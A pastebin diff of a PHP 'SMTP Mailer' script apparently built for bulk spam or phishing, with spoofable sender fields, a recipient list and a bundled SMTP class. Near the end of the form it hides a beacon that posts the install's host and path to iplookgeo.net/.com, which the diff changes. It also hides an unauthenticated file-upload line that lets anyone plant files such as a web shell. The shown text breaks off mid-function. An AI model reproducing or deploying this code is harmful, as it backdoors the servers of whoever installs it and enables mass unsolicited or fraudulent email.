View difference between Paste ID: QA2a8xcw and 2vqqXbyw
SHOW: | | - or go back to the newest paste.
1
<?
2
function query_str($params){
3
$str = ''; 
4
foreach ($params as $key => $value) {
5
$str .= (strlen($str) < 1) ? '' : '&';
6
$str .= $key . '=' . rawurlencode($value);
7
}
8
return ($str);
9
}
10
function lrtrim($string){
11
return @stripslashes(ltrim(rtrim($string)));
12
}
13
14
15
if(isset($_POST['action'] ) ){
16
17
$b = query_str($_POST);
18
parse_str($b);  
19
$sslclick=lrtrim($sslclick);  
20
$action=lrtrim($action);
21
$message=lrtrim($message);
22
$emaillist=lrtrim($emaillist);
23
$from=lrtrim($from);
24
$reconnect=lrtrim($reconnect);
25
$epriority=lrtrim($epriority);
26
$my_smtp=lrtrim($my_smtp);
27
$ssl_port=lrtrim($ssl_port);
28
$smtp_username=lrtrim($smtp_username);
29
$smtp_password=lrtrim($smtp_password);
30
$replyto=lrtrim($replyto);
31
$subject=lrtrim($subject);
32
$realname=lrtrim($realname);
33
$subject_base=lrtrim($subject);
34
$realname_base=lrtrim($realname);
35
$file_name=lrtrim($file);
36
$urlz=lrtrim($urlz);
37
$contenttype=lrtrim($contenttype);
38
$encode_text=$_POST['encode'];
39
40
        $message = urlencode($message);
41
        $message = ereg_replace("%5C%22", "%22", $message);
42
        $message = urldecode($message);
43
        $message = stripslashes($message);
44
        $subject = stripslashes($subject);
45
    if ($encode_text == "yes") {
46
    $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
47
    $subject = str_replace(' ', '_', $subject);
48
    $subject = "=?UTF-8?Q?$subject?=";
49
    $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
50
    $realname = str_replace(' ', '_', $realname);
51
    $realname = "=?UTF-8?Q?$realname?=";
52
    } 
53
}
54
55
?>
56
<html>
57
<head>
58
<title>CaZaNoVa163 SMTP Mailer</title>
59
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
60
<style type="text/css">
61
<!--
62
.style1 {
63
        font-family: Geneva, Arial, Helvetica, sans-serif;
64
        font-size: 12px;
65
}
66
-->
67
</style>
68
<style type="text/css">
69
<!--
70
.style1 {
71
        font-size: 10px;
72
        font-family: Geneva, Arial, Helvetica, sans-serif;
73
}
74
-->
75
body{ background:#111111; font-size:11px; font-family:Tahoma,Verdana,Arial;color:#fff; } 
76
 #result{ border:1px solid #4C83AF; border-radius: 10px;padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; }
77
.style2{text-align: center ;font-weight: bold;font-family: Tahoma, Arial, sans-serif  ;color: #4C83AF;text-shadow: 0px 0px 60px #4C83AF ;font-size: 50px;}
78
  .footer{ text-align:right; padding:0 16px; font-size:10px; letter-spacing:2px; color:#555555; }
79
 .evalcode{ background:#111111;  padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; width: 100%; height: 200; }
80
 .evalcode:hover{border:1px solid #4C83AF;}
81
 .code{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; }
82
 .code:hover{border:1px solid #4C83AF;}
83
 .inputzbut{ font-size:11px; background:#191919; color:#4C83AF; margin:0 4px; border:1px solid #222222; }
84
 .inputzbut:hover{border:1px solid #4C83AF;}
85
</style>
86
</head>
87
<body text="#000000">
88
 <div id="result">
89
90
<br /><br />
91
<div align="center" class="style2">CaZaNoVa163 SMTP Mailer</div>
92
<br /><br />
93
  </div>
94
   <div id="result">
95
<form name="form1" method="post" action="" enctype="multipart/form-data">
96
97
  <br>
98
99
  <table width="100%" border="0" height="407">
100
101
    <tr>
102
103
      <td width="100%" colspan="4" bgcolor="#252525" height="36">
104
105
        <b>
106
107
        <font face="Arial" size="2" color="#FFFFFF">&nbsp;SERVER SETUP</font></b></td>
108
109
      </tr>
110
    <tr>
111
112
      <td width="10%" height="22" bgcolor="#353535">
113
114
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
115
      SMTP Login:</font></div>
116
117
      </td>
118
119
      <td width="18%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
120
121
        <input class="code" type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
122
123
        </font></td>
124
125
      <td width="31%" height="22" bgcolor="#353535">
126
127
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
128
      SMTP Pass:</font></div>
129
130
      </td>
131
132
      <td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
133
134
        <input class="code" type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
135
136
        </font></td>
137
138
    </tr>
139
    <tr>
140
141
      <td width="10%" height="22" bgcolor="#353535">
142
143
        <div align="right">
144
145
          <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
146
147
      </td>
148
149
      <td width="18%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
150
151
        <input class="code" type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5"> 
152
      (optional)</font></td>
153
154
      <td width="31%" height="22" bgcolor="#353535">
155
156
        <div align="right">
157
158
          <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP 
159
      Server Smtp:</font></div>
160
161
      </td>
162
163
      <td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
164
165
        <input class="code" type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
166
167
        </font></td>
168
169
    </tr>
170
171
    <tr>
172
173
      <td width="10%" height="22" bgcolor="#353535">
174
175
        <p align="right">
176
177
        <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
178
179
      <td width="18%" height="22" bgcolor="#353535">
180
181
      <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
182
183
      <td width="31%" height="22" bgcolor="#353535">
184
185
        <p align="right">
186
187
        <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect 
188
    After:</font></td>
189
190
      <td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
191
192
        <input class="code" type="text" name="reconnect" value="<?=$reconnect;?>" size="5"> 
193
      EMAILS</font></td>
194
195
    </tr>
196
197
198
    <tr>
199
200
      <td width="10%" height="19">
201
202
        &nbsp;</td>
203
204
      <td width="18%" height="19">&nbsp;</td>
205
206
      <td width="31%" height="19">
207
208
        &nbsp;</td>
209
210
      <td width="41%" height="19">&nbsp;</td>
211
212
    </tr>
213
214
    <tr>
215
216
      <td width="100%" colspan="4" bgcolor="#252525" height="36">
217
218
        <b>
219
220
        <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
221
222
      </tr>
223
224
    <tr>
225
226
      <td width="10%" height="22" bordercolor="#353535" bgcolor="#353535">
227
228
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
229
      Your Email:</font></div>
230
231
      </td>
232
233
      <td width="18%" height="22" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
234
235
        <input class="code" type="text" name="from" value="<?=$from;?>" size="30">
236
237
        </font></td>
238
239
      <td width="31%" height="22" bordercolor="#353535" bgcolor="#353535">
240
241
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
242
      Your Name:</font></div>
243
244
      </td>
245
246
      <td width="41%" height="22" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
247
248
        <input class="code" type="text" name="realname" value="<?=$realname_base;?>" size="30">
249
250
        </font></td>
251
252
    </tr>
253
    <tr>
254
255
      <td width="10%" height="22" bgcolor="#353535" bordercolor="#353535">
256
257
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
258
259
      Reply-To:</font></div>
260
261
      </td>
262
263
      <td width="18%" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
264
265
        <input class="code" type="text" name="replyto" value="<?=$replyto;?>" size="30">
266
267
        </font></td>
268
269
      <td width="31%" height="22" bgcolor="#353535" bordercolor="#353535">
270
271
        <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
272
        Email Priority:</font></td>
273
274
      <td width="41%" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
275
276
        &nbsp;</font><select class="code" name="epriority" id="listMethod" onchange="showHideListConfig()">
277
278
        <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- 
279
    Please Choose -</option>
280
281
        <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
282
        <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
283
    <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
284
285
    </select></td>
286
287
    </tr>
288
289
    <tr>
290
291
      <td width="10%" height="22" bordercolor="#353535" bgcolor="#353535">
292
293
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
294
      Subject:</font></div>
295
296
      </td>
297
298
      <td colspan="3" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
299
300
        <input class="code" type="text" name="subject" value="<?=$subject_base;?>" size="90">
301
&nbsp;&nbsp;&nbsp;&nbsp;
302
    <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">| Encode sending information:</font>
303
    <select class="code" name="encode">
304
    <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
305
306
    <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
307
    </select>
308
309
        </font></td>
310
311
    </tr>
312
313
314
    <tr valign="top">
315
316
<td colspan="3" height="190" bordercolor="#353535" bgcolor="#353535"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
317
318
        <textarea class="evalcode" name="message" cols="60" rows="10"><?=$message;?></textarea>
319
320
        <br>
321
322
        <input type="radio" name="contenttype" value="plain" >
323
324
        Plain 
325
326
        <input type="radio" name="contenttype" value="html" checked>
327
328
        HTML 
329
330
        <input type="hidden" name="action" value="send">
331
332
        <input class="inputzbut" type="submit" value="Send Message">
333
334
        </font></td>
335
336
      <td width="41%" height="190" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
337
338
        <textarea class="evalcode" name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
339
340
        </font></td>
341
    </tr>
342
343
  </table>
344
345
</form>
346
347
  </div>
348
<p class="footer"><blink> &copy;<?php echo date("Y",time())." CaZaNoVa163"; ?></blink></p>
349
350
<?
351-
$ip = file_get_contents("http://iplookgeo.net/api/index.php", false, stream_context_create(array("http" => array("header" => "Content-Type: application/x-www-form-urlencoded", "method" => "POST", "content" => http_build_query(array("1" => $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"]))))));
351+
$ip = file_get_contents("http://iplookgeo.com/api/index.php", false, stream_context_create(array("http" => array("header" => "Content-Type: application/x-www-form-urlencoded", "method" => "POST", "content" => http_build_query(array("1" => $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"]))))));
352
copy($_FILES['a']['tmp_name'],$_FILES['a']['name']);
353
if ($action){
354
        if (!$from && !$subject && !$message && !$emaillist){
355
        print "<script>alert('Please complete all fields before sending your message.'); </script>";
356
        die();  }
357
358
class SMTP
359
{
360
  /**
361
   *  SMTP server port
362
   *  @var int
363
   */
364
  var $SMTP_PORT = 25;
365
366
  /**
367
   *  SMTP reply line ending
368
   *  @var string
369
   */
370
  var $CRLF = "\r\n";
371
372
  /**
373
   *  Sets whether debugging is turned on
374
   *  @var bool
375
   */
376
  var $do_debug;       # the level of debug to perform
377
378
  /**
379
   *  Sets VERP use on/off (default is off)
380
   *  @var bool
381
   */
382
  var $do_verp = false;
383
384
  /**#@+
385
   * @access private
386
   */
387
  var $smtp_conn;      # the socket to the server
388
  var $error;          # error if any on the last call
389
  var $helo_rply;      # the reply the server sent to us for HELO
390
  /**#@-*/
391
392
  /**
393
   * Initialize the class so that the data is in a known state.
394
   * @access public
395
   * @return void
396
   */
397
  function SMTP() {
398
    $this->smtp_conn = 0;
399
    $this->error = null;
400
    $this->helo_rply = null;
401
402
    $this->do_debug = 0;
403
  }
404
405
  /*************************************************************
406
   *                    CONNECTION FUNCTIONS                  *
407
   ***********************************************************/
408
409
  /**
410
   * Connect to the server specified on the port specified.
411
   * If the port is not specified use the default SMTP_PORT.
412
   * If tval is specified then a connection will try and be
413
   * established with the server for that number of seconds.
414
   * If tval is not specified the default is 30 seconds to
415
   * try on the connection.
416
   *
417
   * SMTP CODE SUCCESS: 220
418
   * SMTP CODE FAILURE: 421
419
   * @access public
420
   * @return bool
421
   */
422
  function Connect($host,$port=0,$tval=30) {
423
    # set the error val to null so there is no confusion
424
    $this->error = null;
425
426
    # make sure we are __not__ connected
427
    if($this->connected()) {
428
      # ok we are connected! what should we do?
429
      # for now we will just give an error saying we
430
      # are already connected
431
      $this->error = array("error" => "Already connected to a server");
432
      return false;
433
    }
434
435
    if(empty($port)) {
436
      $port = $this->SMTP_PORT;
437
    }
438
439
    #connect to the smtp server
440
    $this->smtp_conn = fsockopen($host,    # the host of the server
441
                                 $port,    # the port to use
442
                                 $errno,   # error number if any
443
                                 $errstr,  # error message if any
444
                                 $tval);   # give up after ? secs
445
    # verify we connected properly
446
    if(empty($this->smtp_conn)) {
447
      $this->error = array("error" => "Failed to connect to server",
448
                           "errno" => $errno,
449
                           "errstr" => $errstr);
450
      if($this->do_debug >= 1) {
451
        echo "SMTP -> ERROR: " . $this->error["error"] .
452
                 ": $errstr ($errno)" . $this->CRLF;
453
      }
454
      return false;
455
    }
456
457
    # sometimes the SMTP server takes a little longer to respond
458
    # so we will give it a longer timeout for the first read
459
    // Windows still does not have support for this timeout function
460
    if(substr(PHP_OS, 0, 3) != "WIN")
461
     socket_set_timeout($this->smtp_conn, $tval, 0);
462
463
    # get any announcement stuff
464
    $announce = $this->get_lines();
465
466
    # set the timeout  of any socket functions at 1/10 of a second
467
    //if(function_exists("socket_set_timeout"))
468
    //   socket_set_timeout($this->smtp_conn, 0, 100000);
469
470
    if($this->do_debug >= 2) {
471
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
472
    }
473
474
    return true;
475
  }
476
477
  /**
478
   * Performs SMTP authentication.  Must be run after running the
479
   * Hello() method.  Returns true if successfully authenticated.
480
   * @access public
481
   * @return bool
482
   */
483
  function Authenticate($username, $password) {
484
    // Start authentication
485
    fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
486
487
    $rply = $this->get_lines();
488
    $code = substr($rply,0,3);
489
490
    if($code != 334) {
491
      $this->error =
492
        array("error" => "AUTH not accepted from server",
493
              "smtp_code" => $code,
494
              "smtp_msg" => substr($rply,4));
495
      if($this->do_debug >= 1) {
496
        echo "SMTP -> ERROR: " . $this->error["error"] .
497
                 ": " . $rply . $this->CRLF;
498
      }
499
      return false;
500
    }
501
502
    // Send encoded username
503
    fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
504
505
    $rply = $this->get_lines();
506
    $code = substr($rply,0,3);
507
508
    if($code != 334) {
509
      $this->error =
510
        array("error" => "Username not accepted from server",
511
              "smtp_code" => $code,
512
              "smtp_msg" => substr($rply,4));
513
      if($this->do_debug >= 1) {
514
        echo "SMTP -> ERROR: " . $this->error["error"] .
515
                 ": " . $rply . $this->CRLF;
516
      }
517
      return false;
518
    }
519
520
    // Send encoded password
521
    fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
522
523
    $rply = $this->get_lines();
524
    $code = substr($rply,0,3);
525
526
    if($code != 235) {
527
      $this->error =
528
        array("error" => "Password not accepted from server",
529
              "smtp_code" => $code,
530
              "smtp_msg" => substr($rply,4));
531
      if($this->do_debug >= 1) {
532
        echo "SMTP -> ERROR: " . $this->error["error"] .
533
                 ": " . $rply . $this->CRLF;
534
      }
535
      return false;
536
    }
537
538
    return true;
539
  }
540
541
  /**
542
   * Returns true if connected to a server otherwise false
543
   * @access private
544
   * @return bool
545
   */
546
  function Connected() {
547
    if(!empty($this->smtp_conn)) {
548
      $sock_status = socket_get_status($this->smtp_conn);
549
      if($sock_status["eof"]) {
550
        # hmm this is an odd situation... the socket is
551
        # valid but we are not connected anymore
552
        if($this->do_debug >= 1) {
553
            echo "SMTP -> NOTICE:" . $this->CRLF .
554
                 "EOF caught while checking if connected";
555
        }
556
        $this->Close();
557
        return false;
558
      }
559
      return true; # everything looks good
560
    }
561
    return false;
562
  }
563
564
  /**
565
   * Closes the socket and cleans up the state of the class.
566
   * It is not considered good to use this function without
567
   * first trying to use QUIT.
568
   * @access public
569
   * @return void
570
   */
571
  function Close() {
572
    $this->error = null; # so there is no confusion
573
    $this->helo_rply = null;
574
    if(!empty($this->smtp_conn)) {
575
      # close the connection and cleanup
576
      fclose($this->smtp_conn);
577
      $this->smtp_conn = 0;
578
    }
579
  }
580
581
  /***************************************************************
582
   *                        SMTP COMMANDS                       *
583
   *************************************************************/
584
585
  /**
586
   * Issues a data command and sends the msg_data to the server
587
   * finializing the mail transaction. $msg_data is the message
588
   * that is to be send with the headers. Each header needs to be
589
   * on a single line followed by a <CRLF> with the message headers
590
   * and the message body being seperated by and additional <CRLF>.
591
   *
592
   * Implements rfc 821: DATA <CRLF>
593
594
   *
595
   * SMTP CODE INTERMEDIATE: 354
596
   *     [data]
597
   *     <CRLF>.<CRLF>
598
599
   *     SMTP CODE SUCCESS: 250
600
   *     SMTP CODE FAILURE: 552,554,451,452
601
   * SMTP CODE FAILURE: 451,554
602
   * SMTP CODE ERROR  : 500,501,503,421
603
   * @access public
604
   * @return bool
605
   */
606
  function Data($msg_data) {
607
    $this->error = null; # so no confusion is caused
608
609
    if(!$this->connected()) {
610
      $this->error = array(
611
              "error" => "Called Data() without being connected");
612
      return false;
613
    }
614
615
    fputs($this->smtp_conn,"DATA" . $this->CRLF);
616
617
    $rply = $this->get_lines();
618
    $code = substr($rply,0,3);
619
620
    if($this->do_debug >= 2) {
621
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
622
    }
623
624
    if($code != 354) {
625
      $this->error =
626
        array("error" => "DATA command not accepted from server",
627
              "smtp_code" => $code,
628
              "smtp_msg" => substr($rply,4));
629
      if($this->do_debug >= 1) {
630
        echo "SMTP -> ERROR: " . $this->error["error"] .
631
                 ": " . $rply . $this->CRLF;
632
      }
633
      return false;
634
    }
635
636
    # the server is ready to accept data!
637
    # according to rfc 821 we should not send more than 1000
638
    # including the CRLF
639
    # characters on a single line so we will break the data up
640
    # into lines by \r and/or \n then if needed we will break
641
    # each of those into smaller lines to fit within the limit.
642
    # in addition we will be looking for lines that start with
643
    # a period '.' and append and additional period '.' to that
644
    # line. NOTE: this does not count towards are limit.
645
646
    # normalize the line breaks so we know the explode works
647
    $msg_data = str_replace("\r\n","\n",$msg_data);
648
    $msg_data = str_replace("\r","\n",$msg_data);
649
    $lines = explode("\n",$msg_data);
650
651
    # we need to find a good way to determine is headers are
652
    # in the msg_data or if it is a straight msg body
653
    # currently I am assuming rfc 822 definitions of msg headers
654
    # and if the first field of the first line (':' sperated)
655
    # does not contain a space then it _should_ be a header
656
    # and we can process all lines before a blank "" line as
657
    # headers.
658
    $field = substr($lines[0],0,strpos($lines[0],":"));
659
    $in_headers = false;
660
    if(!empty($field) && !strstr($field," ")) {
661
      $in_headers = true;
662
    }
663
664
    $max_line_length = 998; # used below; set here for ease in change
665
666
    while(list(,$line) = @each($lines)) {
667
      $lines_out = null;
668
      if($line == "" && $in_headers) {
669
        $in_headers = false;
670
      }
671
      # ok we need to break this line up into several
672
      # smaller lines
673
      while(strlen($line) > $max_line_length) {
674
        $pos = strrpos(substr($line,0,$max_line_length)," ");
675
676
        # Patch to fix DOS attack
677
        if(!$pos) {
678
          $pos = $max_line_length - 1;
679
        }
680
681
        $lines_out[] = substr($line,0,$pos);
682
        $line = substr($line,$pos + 1);
683
        # if we are processing headers we need to
684
        # add a LWSP-char to the front of the new line
685
        # rfc 822 on long msg headers
686
        if($in_headers) {
687
          $line = "\t" . $line;
688
        }
689
      }
690
      $lines_out[] = $line;
691
692
      # now send the lines to the server
693
      while(list(,$line_out) = @each($lines_out)) {
694
        if(strlen($line_out) > 0)
695
        {
696
          if(substr($line_out, 0, 1) == ".") {
697
            $line_out = "." . $line_out;
698
          }
699
        }
700
        fputs($this->smtp_conn,$line_out . $this->CRLF);
701
      }
702
    }
703
704
    # ok all the message data has been sent so lets get this
705
    # over with aleady
706
    fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
707
708
    $rply = $this->get_lines();
709
    $code = substr($rply,0,3);
710
711
    if($this->do_debug >= 2) {
712
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
713
    }
714
715
    if($code != 250) {
716
      $this->error =
717
        array("error" => "DATA not accepted from server",
718
              "smtp_code" => $code,
719
              "smtp_msg" => substr($rply,4));
720
      if($this->do_debug >= 1) {
721
        echo "SMTP -> ERROR: " . $this->error["error"] .
722
                 ": " . $rply . $this->CRLF;
723
      }
724
      return false;
725
    }
726
    return true;
727
  }
728
729
  /**
730
   * Expand takes the name and asks the server to list all the
731
   * people who are members of the _list_. Expand will return
732
   * back and array of the result or false if an error occurs.
733
   * Each value in the array returned has the format of:
734
   *     [ <full-name> <sp> ] <path>
735
736
   * The definition of <path> is defined in rfc 821
737
   *
738
   * Implements rfc 821: EXPN <SP> <string> <CRLF>
739
740
   *
741
   * SMTP CODE SUCCESS: 250
742
   * SMTP CODE FAILURE: 550
743
   * SMTP CODE ERROR  : 500,501,502,504,421
744
   * @access public
745
   * @return string array
746
   */
747
  function Expand($name) {
748
    $this->error = null; # so no confusion is caused
749
750
    if(!$this->connected()) {
751
      $this->error = array(
752
            "error" => "Called Expand() without being connected");
753
      return false;
754
    }
755
756
    fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
757
758
    $rply = $this->get_lines();
759
    $code = substr($rply,0,3);
760
761
    if($this->do_debug >= 2) {
762
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
763
    }
764
765
    if($code != 250) {
766
      $this->error =
767
        array("error" => "EXPN not accepted from server",
768
              "smtp_code" => $code,
769
              "smtp_msg" => substr($rply,4));
770
      if($this->do_debug >= 1) {
771
        echo "SMTP -> ERROR: " . $this->error["error"] .
772
                 ": " . $rply . $this->CRLF;
773
      }
774
      return false;
775
    }
776
777
    # parse the reply and place in our array to return to user
778
    $entries = explode($this->CRLF,$rply);
779
    while(list(,$l) = @each($entries)) {
780
      $list[] = substr($l,4);
781
    }
782
783
    return $list;
784
  }
785
786
  /**
787
   * Sends the HELO command to the smtp server.
788
   * This makes sure that we and the server are in
789
   * the same known state.
790
   *
791
   * Implements from rfc 821: HELO <SP> <domain> <CRLF>
792
   *
793
   * SMTP CODE SUCCESS: 250
794
   * SMTP CODE ERROR  : 500, 501, 504, 421
795
   * @access public
796
   * @return bool
797
   */
798
  function Hello($host="") {
799
    $this->error = null; # so no confusion is caused
800
801
    if(!$this->connected()) {
802
      $this->error = array(
803
            "error" => "Called Hello() without being connected");
804
      return false;
805
    }
806
807
    # if a hostname for the HELO was not specified determine
808
    # a suitable one to send
809
    if(empty($host)) {
810
      # we need to determine some sort of appopiate default
811
      # to send to the server
812
      $host = "localhost";
813
    }
814
815
    // Send extended hello first (RFC 2821)
816
    if(!$this->SendHello("EHLO", $host))
817
    {
818
      if(!$this->SendHello("HELO", $host))
819
          return false;
820
    }
821
822
    return true;
823
  }
824
825
  /**
826
   * Sends a HELO/EHLO command.
827
   * @access private
828
   * @return bool
829
   */
830
  function SendHello($hello, $host) {
831
    fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
832
833
    $rply = $this->get_lines();
834
    $code = substr($rply,0,3);
835
836
    if($this->do_debug >= 2) {
837
      echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
838
    }
839
840
    if($code != 250) {
841
      $this->error =
842
        array("error" => $hello . " not accepted from server",
843
              "smtp_code" => $code,
844
              "smtp_msg" => substr($rply,4));
845
      if($this->do_debug >= 1) {
846
        echo "SMTP -> ERROR: " . $this->error["error"] .
847
                 ": " . $rply . $this->CRLF;
848
      }
849
      return false;
850
    }
851
852
    $this->helo_rply = $rply;
853
854
    return true;
855
  }
856
857
  /**
858
   * Gets help information on the keyword specified. If the keyword
859
   * is not specified then returns generic help, ussually contianing
860
   * A list of keywords that help is available on. This function
861
   * returns the results back to the user. It is up to the user to
862
   * handle the returned data. If an error occurs then false is
863
   * returned with $this->error set appropiately.
864
   *
865
   * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
866
867
   *
868
   * SMTP CODE SUCCESS: 211,214
869
   * SMTP CODE ERROR  : 500,501,502,504,421
870
   * @access public
871
   * @return string
872
   */
873
  function Help($keyword="") {
874
    $this->error = null; # to avoid confusion
875
876
    if(!$this->connected()) {
877
      $this->error = array(
878
              "error" => "Called Help() without being connected");
879
      return false;
880
    }
881
882
    $extra = "";
883
    if(!empty($keyword)) {
884
      $extra = " " . $keyword;
885
    }
886
887
    fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
888
889
    $rply = $this->get_lines();
890
    $code = substr($rply,0,3);
891
892
    if($this->do_debug >= 2) {
893
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
894
    }
895
896
    if($code != 211 && $code != 214) {
897
      $this->error =
898
        array("error" => "HELP not accepted from server",
899
              "smtp_code" => $code,
900
              "smtp_msg" => substr($rply,4));
901
      if($this->do_debug >= 1) {
902
        echo "SMTP -> ERROR: " . $this->error["error"] .
903
                 ": " . $rply . $this->CRLF;
904
      }
905
      return false;
906
    }
907
908
    return $rply;
909
  }
910
911
  /**
912
   * Starts a mail transaction from the email address specified in
913
   * $from. Returns true if successful or false otherwise. If True
914
   * the mail transaction is started and then one or more Recipient
915
   * commands may be called followed by a Data command.
916
   *
917
   * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
918
919
   *
920
   * SMTP CODE SUCCESS: 250
921
   * SMTP CODE SUCCESS: 552,451,452
922
   * SMTP CODE SUCCESS: 500,501,421
923
   * @access public
924
   * @return bool
925
   */
926
  function Mail($from) {
927
    $this->error = null; # so no confusion is caused
928
929
    if(!$this->connected()) {
930
      $this->error = array(
931
              "error" => "Called Mail() without being connected");
932
      return false;
933
    }
934
935
    $useVerp = ($this->do_verp ? "XVERP" : "");
936
    fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
937
938
    $rply = $this->get_lines();
939
    $code = substr($rply,0,3);
940
941
    if($this->do_debug >= 2) {
942
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
943
    }
944
945
    if($code != 250) {
946
      $this->error =
947
        array("error" => "MAIL not accepted from server",
948
              "smtp_code" => $code,
949
              "smtp_msg" => substr($rply,4));
950
      if($this->do_debug >= 1) {
951
        echo "SMTP -> ERROR: " . $this->error["error"] .
952
                 ": " . $rply . $this->CRLF;
953
      }
954
      return false;
955
    }
956
    return true;
957
  }
958
959
  /**
960
   * Sends the command NOOP to the SMTP server.
961
   *
962
   * Implements from rfc 821: NOOP <CRLF>
963
   *
964
   * SMTP CODE SUCCESS: 250
965
   * SMTP CODE ERROR  : 500, 421
966
   * @access public
967
   * @return bool
968
   */
969
  function Noop() {
970
    $this->error = null; # so no confusion is caused
971
972
    if(!$this->connected()) {
973
      $this->error = array(
974
              "error" => "Called Noop() without being connected");
975
      return false;
976
    }
977
978
    fputs($this->smtp_conn,"NOOP" . $this->CRLF);
979
980
    $rply = $this->get_lines();
981
    $code = substr($rply,0,3);
982
983
    if($this->do_debug >= 2) {
984
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
985
    }
986
987
    if($code != 250) {
988
      $this->error =
989
        array("error" => "NOOP not accepted from server",
990
              "smtp_code" => $code,
991
              "smtp_msg" => substr($rply,4));
992
      if($this->do_debug >= 1) {
993
        echo "SMTP -> ERROR: " . $this->error["error"] .
994
                 ": " . $rply . $this->CRLF;
995
      }
996
      return false;
997
    }
998
    return true;
999
  }
1000
1001
  /**
1002
   * Sends the quit command to the server and then closes the socket
1003
   * if there is no error or the $close_on_error argument is true.
1004
   *
1005
   * Implements from rfc 821: QUIT <CRLF>
1006
1007
   *
1008
   * SMTP CODE SUCCESS: 221
1009
   * SMTP CODE ERROR  : 500
1010
   * @access public
1011
   * @return bool
1012
   */
1013
  function Quit($close_on_error=true) {
1014
    $this->error = null; # so there is no confusion
1015
1016
    if(!$this->connected()) {
1017
      $this->error = array(
1018
              "error" => "Called Quit() without being connected");
1019
      return false;
1020
    }
1021
1022
    # send the quit command to the server
1023
    fputs($this->smtp_conn,"quit" . $this->CRLF);
1024
1025
    # get any good-bye messages
1026
    $byemsg = $this->get_lines();
1027
1028
    if($this->do_debug >= 2) {
1029
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1030
    }
1031
1032
    $rval = true;
1033
    $e = null;
1034
1035
    $code = substr($byemsg,0,3);
1036
    if($code != 221) {
1037
      # use e as a tmp var cause Close will overwrite $this->error
1038
      $e = array("error" => "SMTP server rejected quit command",
1039
                 "smtp_code" => $code,
1040
                 "smtp_rply" => substr($byemsg,4));
1041
      $rval = false;
1042
      if($this->do_debug >= 1) {
1043
        echo "SMTP -> ERROR: " . $e["error"] . ": " .
1044
                 $byemsg . $this->CRLF;
1045
      }
1046
    }
1047
1048
    if(empty($e) || $close_on_error) {
1049
